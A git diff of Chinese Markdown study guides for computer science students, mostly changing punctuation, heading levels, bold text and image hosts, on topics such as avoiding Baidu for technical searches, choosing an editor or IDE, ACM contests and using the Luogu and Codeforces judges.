a/2.高效学习/补充:为什么不要用百度.md +++ b/2.高效学习/补充:为什么不要用百度.md @@ -1,19 +1,19 @@ # 补充:为什么不要用百度 -相信大家都用过百度来搜索一些非技术问题, 而且一般很容易找到答案. 但随着问题技术含量的提高, 百度的搜索结果会变得越来越不靠谱. 坚持使用百度搜索技术问题, 你将很有可能会碰到以下情况之一: +相信大家都用过百度来搜索一些非技术问题,而且一般很容易找到答案。 但随着问题技术含量的提高,百度的搜索结果会变得越来越不靠谱。 坚持使用百度搜索技术问题,你将很有可能会碰到以下情况之一: -- 搜不到相关结果, 你感到挫败 -- 搜到看似相关的结果, 但无法解决问题, 你在感到挫败之余, 也发现自己浪费了不少时间 -- 你搜到了解决问题的方案, 但没有发现原因分析, 结果你不知道这个问题背后的细节 +- 搜不到相关结果,你感到挫败 +- 搜到看似相关的结果,但无法解决问题,你在感到挫败之余,也发现自己浪费了不少时间 +- 你搜到了解决问题的方案,但没有发现原因分析,结果你不知道这个问题背后的细节 -你可能会觉得"可以解决问题就行, 不需要了解问题背后的细节". 但对于一些问题(例如编程问题), 你了解这些细节就相当于学到了新的知识, 所以你应该去了解这些细节, 让自己懂得更多. +你可能会觉得"可以解决问题就行,不需要了解问题背后的细节"。 但对于一些问题(例如编程问题),你了解这些细节就相当于学到了新的知识,所以你应该去了解这些细节,让自己懂得更多。 -如果谷歌能以更高的概率提供可以解决问题的方案, 并且带有原因分析, 你应该没有理由使用百度来搜索技术问题. 如果你仍然坚持使用百度, 原因就只有一个: 你不想主动去成长. +如果谷歌能以更高的概率提供可以解决问题的方案,并且带有原因分析,你应该没有理由使用百度来搜索技术问题。 如果你仍然坚持使用百度,原因就只有一个: 你不想主动去成长。 -你或许会觉得翻阅手册太麻烦了, 所以可能会在百度上随便搜一篇博客来尝试寻找解决方案. 但是, 你需要明确以下几点: +你或许会觉得翻阅手册太麻烦了,所以可能会在百度上随便搜一篇博客来尝试寻找解决方案。 但是,你需要明确以下几点: -- 你搜到的博客可能也是转载别人的, 有可能有坑 -- 博主只是分享了他的经历, 有些说法也不一定准确 -- 搜到了相关内容, 也不一定会有全面的描述 +- 你搜到的博客可能也是转载别人的,有可能有坑 +- 博主只是分享了他的经历,有些说法也不一定准确 +- 搜到了相关内容,也不一定会有全面的描述 -最重要的是, 当你尝试了上述方法而又无法解决问题的时候, 你需要明确"我刚才只是在尝试走捷径, 看来我需要试试 RTFM 了". +最重要的是,当你尝试了上述方法而又无法解决问题的时候,你需要明确"我刚才只是在尝试走捷径,看来我需要试试 RTFM 了"。 diff --git a/3.编程思维体系构建/3.0 编程入门之道.md b/3.编程思维体系构建/3.0 编程入门之道.md index 51b4ad3..145fe72 100644 --- a/3.编程思维体系构建/3.0 编程入门之道.md +++ b/3.编程思维体系构建/3.0 编程入门之道.md @@ -13,7 +13,7 @@ ### 这篇讲义讲什么 - 首先,如上文所述,如何轻松地利用本章乃至整个讲义 -- 在第一点的基础上,引申出我自己归纳的编程入门之“道” +- 在第一点的基础上,引申出我自己归纳的**编程入门之“道”** ### 请随意喷这篇讲义 @@ -28,7 +28,7 @@ 1. 这里的文章的最大的作用是帮你打开信息壁垒,告诉你编程的世界有哪些东西,可以去学什么。 2. 把讲义当成字典来用。很多文章并不是完全对新人友好的,你现在不需要看懂,甚至可能不需要看。你只要大概记下有这么个概念和工具,当下次要用到的时候,再查阅、再仔细学习就好。 -简单来说就是,抱着平和的心态,随便看看,知道这一章都讲了哪些东西,看完有个印象就好,然后常回家看看。 +简单来说就是,**抱着平和的心态,随便看看**,知道这一章都讲了哪些东西,看完有个印象就好,然后常回家看看。 技术细节本身永远都不是最重要的,重要的是思想和方法,如何快速掌握一门技术。 @@ -38,7 +38,7 @@ 这是我的第一个也是最重要的建议。 -无论是学一门语言,还是学一个工具:尽可能地先用最短的时间搞懂这个东西是做什么的,然后以最快的方式把它 “run”起来。 +无论是学一门语言,还是学一个工具:**尽可能地先用最短的时间搞懂这个东西是做什么的,然后以最快的方式把它“run”起来。** 当你已经能跑起一个语言、一个工具的最简单的示例的时候,再去花时间慢慢了解背后的复杂的内容,再去拓展即可。先用起来,跑起来,带着问题去翻资料。 @@ -58,7 +58,7 @@ 那么该怎么学呢? -先简单地会一样东西的最核心的部分,再去找一个实际的编程场景、编程任务、项目。你会在完成这个项目中遇到各种各样的问题,无论是遗漏了知识点还是压根没思路, 这时候不断地用搜索引擎来学习。( [2.3 高效的信息检索](../2.%E9%AB%98%E6%95%88%E5%AD%A6%E4%B9%A0/2.3%E9%AB%98%E6%95%88%E7%9A%84%E4%BF%A1%E6%81%AF%E6%A3%80%E7%B4%A2.md) +**先简单地会一样东西的最核心的部分,再去找一个实际的编程场景、编程任务、项目。你会在完成这个项目中遇到各种各样的问题,无论是遗漏了知识点还是压根没思路,这时候不断地用搜索引擎来学习。( **[2.3 高效的信息检索](../2.%E9%AB%98%E6%95%88%E5%AD%A6%E4%B9%A0/2.3%E9%AB%98%E6%95%88%E7%9A%84%E4%BF%A1%E6%81%AF%E6%A3%80%E7%B4%A2.md)**)** 举个例子:你想做一个小程序,来检测某电影院的电影预售。程序大概要做到不断刷新网页,一检测到这个电影预售了,就马上发短信给自己手机(或者直接帮你抢) @@ -85,7 +85,7 @@ 刚开始你可能什么都不会,什么地方都被阻塞,但当你把坑踩遍了。就发现,哎嘿,不好意思,这玩意我怎么又会! -所以让我们基于这个“任务驱动”,再看看本章的内容。这些内容大多看了就忘,因为细节非常多,而且并不一定能解决你手头上的问题。但这些文档,带你领进了新的领域的大门,让你的工具箱里多了一个可以解决问题的工具,以后用到了可以想起他们。并且,这些文章多是通俗的,且作者多是讲述了 ta 所认为的该语言/工具的最核心、最精华的部分,或者说第一次入门最需要学习的部分。 +**所以让我们基于这个“任务驱动”,再看看本章的内容。这些内容大多看了就忘,因为细节非常多,而且并不一定能解决你手头上的问题。但这些文档,带你领进了新的领域的大门,让你的工具箱里多了一个可以解决问题的工具,以后用到了可以想起他们。并且,这些文章多是通俗的,且作者多是讲述了 ta 所认为的该语言/工具的最核心、最精华的部分,或者说第一次入门最需要学习的部分。** ## 圈子 @@ -101,7 +101,7 @@ 1. 输入决定输出。开源的代码多是经过检验的牛逼的代码,通过多看看优雅的代码来提高编程能力,比自己无中生有简单地多。 2. 开源圈牛人多。无论是拓宽视野,还是在 issue 下的交流,还是别人给你的 review 建议,都能学到很多。你会在开源的过程中认识很多的人,很多大厂的人,说不定就是你以后的面试官。 -3. 参与开源社区能极大地锻炼自己的编程能力,能给简历贴金 。 +3. 参与开源社区能极大地锻炼自己的编程能力,能给简历贴金。 4. 开源是程序员的浪漫。 对于学生而言,可以参加一些仅面向学生开放的开源活动。一般会有一个主办方,然后有许多知名的开源社区报名。他们会罗列出一些有一定难度的任务,学生可以提交申请书,陈述如何完成这个任务。中选后会分配单独的导师来带你,还会发奖金给你,一般是大几千起步。推荐阅读这个系列的文章:[https://erdengk.github.io/gsoc-analyse/](https://erdengk.github.io/gsoc-analyse/) diff --git a/3.编程思维体系构建/3.1该使用哪个编辑器???.md b/3.编程思维体系构建/3.1该使用哪个编辑器???.md index 9ac670e..c20140b 100644 --- a/3.编程思维体系构建/3.1该使用哪个编辑器???.md +++ b/3.编程思维体系构建/3.1该使用哪个编辑器???.md @@ -1,6 +1,6 @@ # 3.1 该使用哪个编辑器??? -# 编辑器,编译器,集成开发环境 +## 编辑器,编译器,集成开发环境 我们平时所说的程序,是指双击后就可以直接运行的程序,这样的程序被称为可执行程序(Executable Program)。 @@ -12,7 +12,7 @@ (你也不想用一沓纸带写程序吧) -## 什么是编辑器 +### 什么是编辑器 编辑器的概念很简单,百度百科上这么写道: @@ -20,11 +20,11 @@ 当然在这里我们主要讲的是代码编辑器,一个好的编辑器可以节省开发时间,提高工作效率,它们都能提供非常方便易用的开发环境。你可以用它们来编写代码,查看源文件和文档等,简化你的工作。以下是一些常用的代码编辑器,每个不同的编辑器都有不尽相同的目标用户群体。 -- Visual Studio Code : 微软 VS 系列的新作品,适用于多平台的代码编辑器,其很好服从了轻量化 + 拓展的 Unix 思想,在整体快捷方便的同时具有极强的功能拓展空间,是值得首要推荐的编辑器。 -- Vim : Vim 是从 vi 发展出来的一个文本编辑器,在程序员中被广泛使用,运行在 Linux 环境下。 -- GNU Emacs : Emacs 是一个轻便、可扩展、免费的编辑器,它比其它的编辑器要更强大,是一个整合环境,或可称它为集成开发环境。它可以处理文字,图像,高亮语法,将代码更直观地展现给开发者。 +- *Visual Studio Code* : 微软 VS 系列的新作品,适用于多平台的代码编辑器,其很好服从了轻量化 + 拓展的 Unix 思想,在整体快捷方便的同时具有极强的功能拓展空间,是值得首要推荐的编辑器。 +- *Vim*: Vim 是从 vi 发展出来的一个文本编辑器,在程序员中被广泛使用,运行在 Linux 环境下。 +- *GNU Emacs* : Emacs 是一个轻便、可扩展、免费的编辑器,它比其它的编辑器要更强大,是一个整合环境,或可称它为集成开发环境。它可以处理文字,图像,高亮语法,将代码更直观地展现给开发者。 -## 什么是编译器 +### 什么是编译器 C 语言代码由固定的词汇按照固定的格式组织起来,简单直观,程序员容易识别和理解,但是对于 CPU,C 语言代码就是天书,根本不认识,CPU 只认识几百个二进制形式的指令。这就需要一个工具,将 C 语言代码转换成 CPU 能够识别的二进制指令,也就是将代码加工成 .exe 程序;这个工具是一个特殊的软件,叫做编译器(Compiler)。 编译器能够识别代码中的词汇、句子以及各种特定的格式,并将他们转换成计算机能够识别的二进制形式,这个过程称为编译(Compile)。 @@ -56,7 +56,7 @@ C 语言代码由固定的词汇按照固定的格式组织起来,简单直观 编译器可以 100% 保证你的代码从语法上讲是正确的,因为哪怕有一点小小的错误,编译也不能通过,编译器会告诉你哪里错了,便于你的更改。 -## 什么是集成开发环境 +### 什么是集成开发环境 实际开发中,除了编译器是必须的工具,我们往往还需要很多其他辅助软件,例如: @@ -72,18 +72,18 @@ C 语言代码由固定的词汇按照固定的格式组织起来,简单直观 集成开发环境也是这个道理,只有编译器不方便,所以还要增加其他的辅助工具。 -# 我的推荐 +## 我的推荐 作为个人使用比较顺手的几款 IDE -Java: [JetBrains](https://www.jetbrains.com/zh-cn/idea/)[ IntelliJ ](https://www.jetbrains.com/zh-cn/idea/)[IDEA](https://www.jetbrains.com/zh-cn/idea/) +Java: [JetBrains](https://www.jetbrains.com/zh-cn/idea/),[IntelliJ](https://www.jetbrains.com/zh-cn/idea/),[IDEA](https://www.jetbrains.com/zh-cn/idea/) -C: Visual Studio(宇宙第一 IDE), [JetBrains](https://www.jetbrains.com/zh-cn/clion/)[ Clion](https://www.jetbrains.com/zh-cn/clion/), Visual Studio Code(编辑器 IDE 化需要额外配置) +C: [Visual Studio(宇宙第一 IDE)](https://visualstudio.microsoft.com/zh-hans/vs/), [JetBrains Clion](https://www.jetbrains.com/zh-cn/clion/),Visual Studio Code(编辑器 IDE 化需要额外配置) -Python: [JetBrains](https://www.jetbrains.com/zh-cn/pycharm/)[ ](https://www.jetbrains.com/zh-cn/pycharm/)[P](https://www.jetbrains.com/zh-cn/pycharm/)[ycharm](https://www.jetbrains.com/zh-cn/pycharm/) +Python: [JetBrains Pycharm](https://www.jetbrains.com/zh-cn/pycharm/) Vim 在附加篇章里有额外介绍 -[JetBrains](https://www.cnblogs.com/Coline1/p/15229244.html)[白嫖指南](https://www.cnblogs.com/Coline1/p/15229244.html) +[JetBrains](https://www.cnblogs.com/Coline1/p/15229244.html),[白嫖指南](https://www.cnblogs.com/Coline1/p/15229244.html) 当然,适合你的才是最好的 diff --git a/3.编程思维体系构建/3.2.1为什么要选择ACM——谈谈我与ACM.md b/3.编程思维体系构建/3.2.1为什么要选择ACM——谈谈我与ACM.md index d95f55f..cd02091 100644 --- a/3.编程思维体系构建/3.2.1为什么要选择ACM——谈谈我与ACM.md +++ b/3.编程思维体系构建/3.2.1为什么要选择ACM——谈谈我与ACM.md @@ -2,17 +2,17 @@ author:wenjing -先验条件:保证你可以在每天进行练习和学习此方面内容即使是假期也不能超过三天以上休息,如果你想验证一下这件事当然也可以,注意心态的保持很重要 +先验条件:保证你可以在每天进行练习和学习此方面内容即使是假期也不能超过三天以上休息,如果你想验证一下这件事当然也可以,注意心态的保持很重要 -# 将时间花在 ACM 上值得吗? +## 将时间花在 ACM 上值得吗? 初入大学,摆脱了高中的种种束缚,同学们想必对大学生活有着种种幻想。或许有同学依旧保持着高中的思维,希望刷取高绩点,用好成绩谋求保研。或许也有同学只想将课程草草应付,去探索一些偏实践的方向以谋求一份好工作。 但无论你渴望从大学生活谋求何物,我认为做为一位计算机专业的学生投身于 ACM 算法竞赛学习都是值得,无论你是否得奖。 -# ACM 能为我带来什么? +## ACM 能为我带来什么? -显然,做为一名计算机专业的学生,编程是一项必须掌握的技能。再次引用 Niklaus Emil Wirth 的一句话:程序=算法 + 数据结构。例如在大一开设的程序设计基础中,我们需要重点学习链表这一数据结构,熟悉运用分支与循环结构(勉强也算算法吧)。然而,在 ACM 中,这是基础到不值一提的事物,宛如空气与水一般基础。你们是否想过,花了大量课时学习的这些知识,其实小学生也可以学会(看看远处的小学编程补习班吧,家人们)那做为大学生去学习这些知识,是否应当得到一些不止于考试内容的知识呢? +显然,做为一名计算机专业的学生,编程是一项必须掌握的技能。再次引用 Niklaus Emil Wirth 的一句话:**程序=算法 + 数据结构。**例如在大一开设的程序设计基础中,我们需要重点学习链表这一数据结构,熟悉运用分支与循环结构(勉强也算算法吧)。然而,在 ACM 中,这是基础到不值一提的事物,宛如空气与水一般基础。你们是否想过,花了大量课时学习的这些知识,其实小学生也可以学会(看看远处的小学编程补习班吧,家人们)那做为大学生去学习这些知识,是否应当得到一些不止于考试内容的知识呢? 我认为有两个方向,一是我们去学习一些更底层的逻辑与原理,此外就是学习如何更好的利用链表,实现一些别的数据结构做不到的事情,我认为 ACM 可以极大的提升我们对后者的理解。 @@ -24,7 +24,7 @@ author:wenjing ③ 假如你有幸活过筛选,并且获得比赛机会,并且得奖,恭喜你,你的绩点将被画上浓墨重彩的一笔。做为大学顶尖赛事,ACM 的奖项可以直接在你的最终绩点上加分(铜 0.5,银 1.0,金 1.5)这意味着你只要主课不要落下太多,奖学金随便拿(比赛获奖本身还有额外奖金)。 -# 零基础学习 ACM 是否过于困难? +## 零基础学习 ACM 是否过于困难? 我并不这么觉得,原因如下 @@ -36,9 +36,11 @@ author:wenjing ③ 在初高中参加竞赛的学生的数量和质量有极可能已经有所下降,因为竞赛相关政策的紧缩,稀烂的强基计划替代了对竞赛友好的自主招生,选择全力投身竞赛,拼搏省队的学生有所下降,有基础的学生现在也不见得很强。 +UPD at 2023/7/19:从长期来看,这个结论应该是没有错的,但是很可惜,如果您是2023届的新生,您将遭遇紧缩政策下一波不得不来hdu的竞赛高材生,截至笔者更新为止,已经有五位NOI银牌选手和两位具备NOI银牌能力的选手提前加入了集训队,也许对于零基础的同学而言,仍然只要和别的零基础同学竞争保底的三个席位就好了。但从长远来看,进队不是结束,抢夺比赛机会才是开始。而且如果hdu能抢到这样的生源,其他学校的水平大概率也会上涨,就算有了比赛机会也很难说会不会拿铜遗憾结尾。如果您出于好奇,想了解这荒谬的景象是如何诞生,请参阅电子书[《整型溢出》](https://zhuanlan.zhihu.com/p/117660874) + 进队的学生零基础偏少,如果你选择这条路你可能需要克服不小的困难 -# 我应该以什么态度学习 ACM? +## 我应该以什么态度学习 ACM? 假如你是一位有信息竞赛基础,且得过省级奖项的前 oier,您也没什么必要看这篇文章,您已经完全熟悉了算法竞赛需要的一切,我希望您不要有太大压力,做最好的自己就行,不要留下遗憾。对于零基础的同学也一样,或许得奖后的绩点加成实在是过于诱人,但竞赛获奖这种事情还是太难强求,让自己压力太大得不偿失。 @@ -52,7 +54,7 @@ author:wenjing 之后的日子是灰暗的,浑浑噩噩的训练,知难而退放弃最好的高中的特长生名额。故事很长,我只是想说学竞赛不要太功利,竞赛终究是少数高手的游戏,做不到就是做不到,但这也仅仅只代表你的竞赛能力不够,你的人生并不是只有竞赛,大学也不只有 ACM 一条路(这很显然,不然我们社团应该改名为 ACM 社) -# 再谈 ACM 为我带来什么 +## 再谈 ACM 为我带来什么 我初中成绩并不差,但发挥失常的话确实上不了我毕业的高中。我高考发挥失常,竞赛通过杭电三一成为保底。 @@ -64,7 +66,7 @@ author:wenjing 截止完成这篇文章为止,笔者仍在集训队中,我害怕自己被淘汰,不是因为我害怕自己失去参赛资格,而是我很难想象自己失去 ACM 的生活,我需要一个学习 ACM 的理由。给诸位讲个笑话,某一天我与朋友出门游玩,想不到话题,于是就开始讨论算法题的做法,从正午到日落。 -# 算法思维与应试思维 +## 算法思维与应试思维 众所周知,ACM 是开卷竞赛,你可以携带纸质资料进入考场。 @@ -86,7 +88,7 @@ author:wenjing 也许在一次次陈旧腐朽的选拔性考试中,应试思维取得了压倒性的胜利。但在 ACM 中,算法思维依旧有一片净土。 -# 数学与算法思维 +## 数学与算法思维 那么,如何培养算法思维呢?我认为首先我们得学好数学。然而,我最总是在大一中听到这样的声音:“哎呀,烦死了,我们是学编程的,为什么要花那么多精力学数学,还占那么多学分,真讨厌。“然而,比起枯燥乏味的编程课,我最喜欢的还是数学课。数学在算法中无处不体现,可以说学好算法就是要学好数学,我现在复盘我初中 OI 生涯的失败,很大程度归因于数学基础的薄弱。以下为几个体现数学在算法中重要性的例子。 @@ -104,6 +106,6 @@ author:wenjing 优秀的数学思维能使你在理解算法的路上事半功倍,当然,算法的学习也能加深你对数学的理解。 -# 结论 +## 结论 大胆去学 ACM 吧,大一的空闲时间真的很多,去探索新事物,不试试怎么知道自己行不行。 diff --git a/3.编程思维体系构建/3.2.2手把手教你学算法——如何使用OJ(Online Judge).md b/3.编程思维体系构建/3.2.2手把手教你学算法——如何使用OJ(Online Judge).md index 8560f2f..c254565 100644 --- a/3.编程思维体系构建/3.2.2手把手教你学算法——如何使用OJ(Online Judge).md +++ b/3.编程思维体系构建/3.2.2手把手教你学算法——如何使用OJ(Online Judge).md @@ -2,25 +2,25 @@ 在之前的篇章中,我们向新手 acmer 推荐了两个编程网站——Luogu 与 Codeforces,下面由笔者向各位介绍一下网站的详细用法。 -# Luogu +## Luogu 进入 [https://www.luogu.com.cn/](https://www.luogu.com.cn/) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing1.png) +![](https://cdn.xyxsw.site/wenjing1.png) -## 社交模块 +### 社交模块 做为一个刷题网站,Luogu 提供了符合中文用户习惯的社交模块。体现于左侧边栏的讨论及主页的最近讨论,以及底部的“发射犇犇”系统。但是我并不建议 Acmer 使用该功能,因为 Luogu 主要面向初高中生甚至小学生等参加 NOIP 系列竞赛的用户,讨论不可避免存在一些低龄化现象。对于社交模块的使用,我推荐当且仅当一种做不出题的求助手段,这点放在之后题目模块讲解。 -## 题目模块 +### 题目模块 点开题库,我们看见以下界面 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing2.png) +![](https://cdn.xyxsw.site/wenjing2.png) 在上方我们可以筛选我们想要的题目,接下来我们点开 P1000 为例 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing3.png) +![](https://cdn.xyxsw.site/wenjing3.png) 右侧三个模块为折叠状态,下面介绍他们的作用 @@ -34,17 +34,17 @@ 点击提交答案 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing4.png) +![](https://cdn.xyxsw.site/wenjing4.png) 左侧可以选择语言类型,C++ 用户建议选择 C++14。 O2 优化是一种优化(废话)假如您的代码复杂度正确但 TLE,可以尝试该选项。 -## 记录模块 +### 记录模块 怎么知道自己代码的问题出在哪里呢?记录模块是帮助你的好工具。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing5.png) +![](https://cdn.xyxsw.site/wenjing5.png) AC:通过该数据点 @@ -60,47 +60,47 @@ MLE:空间超限 请检查是否递归爆栈、数组过大 OLE:输出超限 放心你见不到的 -## 题单模块 +### 题单模块 点开侧栏题单 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing6.png) +![](https://cdn.xyxsw.site/wenjing6.png) 建议新手从官方精选题单开始,由浅入深,由简到难。等到对算法形成概念,针对漏洞补习时可以尝试用户分享题单(到那个阶段已经有很多手段去找题了,刘教练的题单就够你做了) -## 比赛模块 +### 比赛模块 点开侧栏就能看见准备举办和已结束的比赛。笔者不建议大家在 Luogu 打比赛,首先赛制不一样,其次出题风格不一样,最后对于初学者 Luogu 比赛的难度曲线过大。 -# Codeforces +## Codeforces 进入 [https://codeforces.com/?locale=en](https://codeforces.com/?locale=en) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing7.png) +![](https://cdn.xyxsw.site/wenjing7.png) 比起 Luogu,这样的 UI 设计离 CN 互联网已经很远了(然而比起更硬核的一些做题网站,CF 的 UI 真是越看越顺眼) 右上角注册登录切语言(哇塞,可以选俄语,你说的对,但是 CF 是一款由俄罗斯开发的多人在线竞技游戏) -## HOME 模块 +### HOME 模块 主页显示各种数据,主要为近期比赛的一些公告。 -## TOP 模块 +### TOP 模块 热帖,如果擅长英语的话,CF 的交流氛围还是不错的,做为一个答疑解惑的论坛肯定比国内强。 -## CATALOG 模块 +### CATALOG 模块 文档目录,你可以在这学习算法竞赛入门,体系化学习算法,只要你会英语 -## CONTESTS +### CONTESTS 重中之重!CF 的比赛系统可以说是我们选择这个网站的最大原因! 进入比赛页面 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing8.png) +![](https://cdn.xyxsw.site/wenjing8.png) 上方为将举办比赛,显示开始时间(UTC+8 也就是我们时区的时间)和持续时间大多都开始的比较晚,例如笔者就没有这么晚学习的习惯,所以一般赛后写题。比赛分为以下几种类型(例如写在括号里的 Div.2) @@ -112,22 +112,22 @@ Div.1、Div.2、Div.3、Div.4 数字越小难度越大。 下面以一场 Div.2 比赛为例,展示我们该如何打一场 CF。 -## VP +### VP -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing9.png) +![](https://cdn.xyxsw.site/wenjing9.png) 这是一场笔者之前赛后补过的 Div.2,画面右下角分别为赛后公告和题解,右侧便是开启 VP 的按钮。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing10.png) +![](https://cdn.xyxsw.site/wenjing10.png) -VP模拟赛时的好处就是在虚拟参赛中获得真实比赛才能积累的经验,比如这里笔者发现通过前三题后,我应该先去看看 F 题,因为做出来的人更多,我有更大的可能性做出来,ACM 中题目并不是 100% 按难度排序。 +*VP 模拟赛时的好处就是在虚拟参赛中获得真实比赛才能积累的经验,比如这里笔者发现通过前三题后,我应该先去看看 F 题,因为做出来的人更多,我有更大的可能性做出来,ACM 中题目并不是 100% 按难度排序。* -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing11.png) +![](https://cdn.xyxsw.site/wenjing11.png) 进入 VP 后,我们可以发现比起正常赛后补题有了明显不同。 首先我们可以看见赛时某道题的通过人数,随比赛时间流逝 100% 仿真变化。而且也可以与当时的“虚拟选手”同步竞争,例如笔者这里就复制之前写过的代码荣登榜三(乐) -对于大多数比赛,采用 ICPC 赛制,解决某题得到的分数由该题当前的分数减去(不成功的提交次数)*50,这里某道题的分数是由比赛开始时的分数随时间线性减少得到的。 +对于大多数比赛,采用 ICPC 赛制,解决某题得到的分数由该题当前的分数减去 (不成功的提交次数)*50,这里某道题的分数是由比赛开始时的分数随时间线性减少得到的。 也就是做题越快,错误次数越少,分数和排名就越高,这点大体是与 ACM 赛制相同的。 @@ -135,30 +135,30 @@ Div.1、Div.2、Div.3、Div.4 数字越小难度越大。 让我们点开 A 题,来看看如何提交答案 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing12.png) +![](https://cdn.xyxsw.site/wenjing12.png) 可以看见,右侧有一个 submit,与 luogu 不同的是,你需要上传源代码文件(如 cpp)然后选择 G++17 为语言,提交。 当然,你也可以点开上侧的 submit code -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing13.png) +![](https://cdn.xyxsw.site/wenjing13.png) 选择题目、语言,填写代码后提交,就和 Luogu 的方式一样了。 同样,在上侧 MY SUBMISSIONS 处可以查看已提交的代码和状态 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing14.png) +![](https://cdn.xyxsw.site/wenjing14.png) -## PROBLEMSET +### PROBLEMSET 同样,CF 也有题库 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wenjing15.png) +![](https://cdn.xyxsw.site/wenjing15.png) 如果你只想做某道题而不是某场比赛,这里也许更适合你。 不过 CF 的题库比较鸡肋,标签筛选也不是很方便(大概是把想要的标签在右上角分隔好) -# 总结 +## 总结 笔者向读者详细介绍了两个 OJ,至于如何让 OJ 更好的辅助你的 ACM 学习,我应该在什么时间节点或训练阶段,出于什么训练目的选择哪个网站,笔者留到下一个篇章继续介绍。 diff --git a/3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟.md b/3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟.md index 6ce1658..67aeedb 100644 --- a/3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟.md +++ b/3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟.md @@ -58,7 +58,7 @@ 打完比赛,建议钻研一下自己没做出的前一两题,写个题解。为什么要写题解呢,一个是方便以后来回顾,一个是加深印象,一个是把自己的思维用文字表达出来,这样能发现思维的漏洞(比如证明不严谨之类的)。题解写出来发不发博客就看个人喜好吧。作者以前也是坚持写博客写了很久。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Axiomofchoice_1.png) +![](https://cdn.xyxsw.site/Axiomofchoice_1.png) 为什么要打 Codeforces 比赛呢?主要原因是打比赛有计时,有压力(怕掉分的压力),能让人提升更快。不要因为怕掉分就不参加了,你要相信只要你一直打比赛,你的 rating 曲线一定是波动上升的。 diff --git a/3.编程思维体系构建/3.2算法杂谈.md b/3.编程思维体系构建/3.2算法杂谈.md index 1541a6e..bc9d23e 100644 --- a/3.编程思维体系构建/3.2算法杂谈.md +++ b/3.编程思维体系构建/3.2算法杂谈.md @@ -1,6 +1,6 @@ # 3.2 算法杂谈 -# 学计算机要先学算法吗? +## 学计算机要先学算法吗? 也许有的同学在高中阶段接触过信息学奥赛,那么也许你已经对基础的算法知识已经有了一定的了解。 @@ -10,19 +10,19 @@ 学习算法的基础是拥有最基本的计算机素养,你需要优先学习一些基本的计算机概念、编程语言、简单的数据结构(数组、链表等),这些基本知识是你能够灵活利用算法的基础。 -# 学了算法就相当于学好了计算机吗? +## 学了算法就相当于学好了计算机吗? -学好了算法当然不等于学好了计算机科学。计算机科学是一个非常庞大的知识体系,包括更为底层的计算机组成原理、编译原理等,更为表层的 AI,开发等,是一门综合性学科。总的来说,算法是计算机科学中较为重要的一部分,但远远不是全部。 +学好了算法当然不等于学好了计算机科学。计算机科学是一个非常庞大的知识体系,包括更为底层的计算机组成原理、编译原理等,更为表层的 AI,开发等,是一门综合性学科。总的来说,算法是计算机科学中较为重要的一部分,但**远远**不是全部。 -# 学算法就要用《算法导论》一类的书吗? +## 学算法就要用《算法导论》一类的书吗? -我的答案是否定的。它更适合作为“工具书”(就像你英语的词典那样),而不是一本适合新生入门学习的书。可以使用《我的第一本算法书》一类的更为基础更为有趣的算法内容。相比于完全严谨的逻辑推导, 初学者的诉求是在"看得见, 摸得着的例子和环境下探索和吸收新概念". 像这样的大部头可以在之后进行阅读. +我的答案是否定的。它更适合作为“工具书”(就像你英语的词典那样),而不是一本适合新生入门学习的书。可以使用《我的第一本算法书》一类的更为基础更为有趣的算法内容。相比于完全严谨的逻辑推导,初学者的诉求是在"看得见,摸得着的例子和环境下探索和吸收新概念". 像这样的大部头可以在之后进行阅读。 -# 学算法一定要用 C 语言吗?不用 C 语言可以吗? +## 学算法一定要用 C 语言吗?不用 C 语言可以吗? 不一定要用 C 语言。但是 C 语言作为一种贴近底层面向过程语言,对日后学习其他的语言会有较大的帮助。你也可以先学习 Python、JAVA 等等。学校的课程仅仅是教授一些比较基础的知识,如果想要真正掌握一门语言,需要在学校课程的基础上更进一大大大步。 -# ACM 怎么说? +## ACM 怎么说? 前情提要,请尽量不要以功利的心态去参加 ACM,你想要的与你能得到的可能存在过大落差 @@ -32,6 +32,6 @@ ACM 是美国计算机协会(Association for Computing Machinery)的缩写 在我校,参加 ACM 社团(姑且叫做社团)并不代表能够参加有含金量的团体赛(ICPC、CCPC 等)。你需要先参加由我校教练刘春英老师组织的各种比赛,有资格进入集训队后,才有机会代表学校参加比赛(当然不限名额的个人赛想参加就参加)。 -进入集训队后采取末位淘汰制度(最后留下来的人在 20 人左右),最后留下来的人才有机会参加比赛。因此个人并不推荐 0 基础的同学对于 ACM 过于执着,有 0 基础的同学最后进入校队的例子,不过这通常意味着你一天至少得刷一道算法题。如果还是想尝试的同学,可以去洛谷(www.luogu.com.cn)、Codeforces(www.codeforces.com)、Atcoder(atcoder.jp)等平台上注册账号,练习题目,参加这些网站定期组织的一些比赛。 +进入集训队后采取末位淘汰制度(最后留下来的人在 20 人左右),最后留下来的人才有机会参加比赛。**因此个人并不推荐 0 基础的同学对于 ACM 过于执着**,有 0 基础的同学最后进入校队的例子,不过这通常意味着你一天至少得刷一道算法题。如果还是想尝试的同学,可以去洛谷 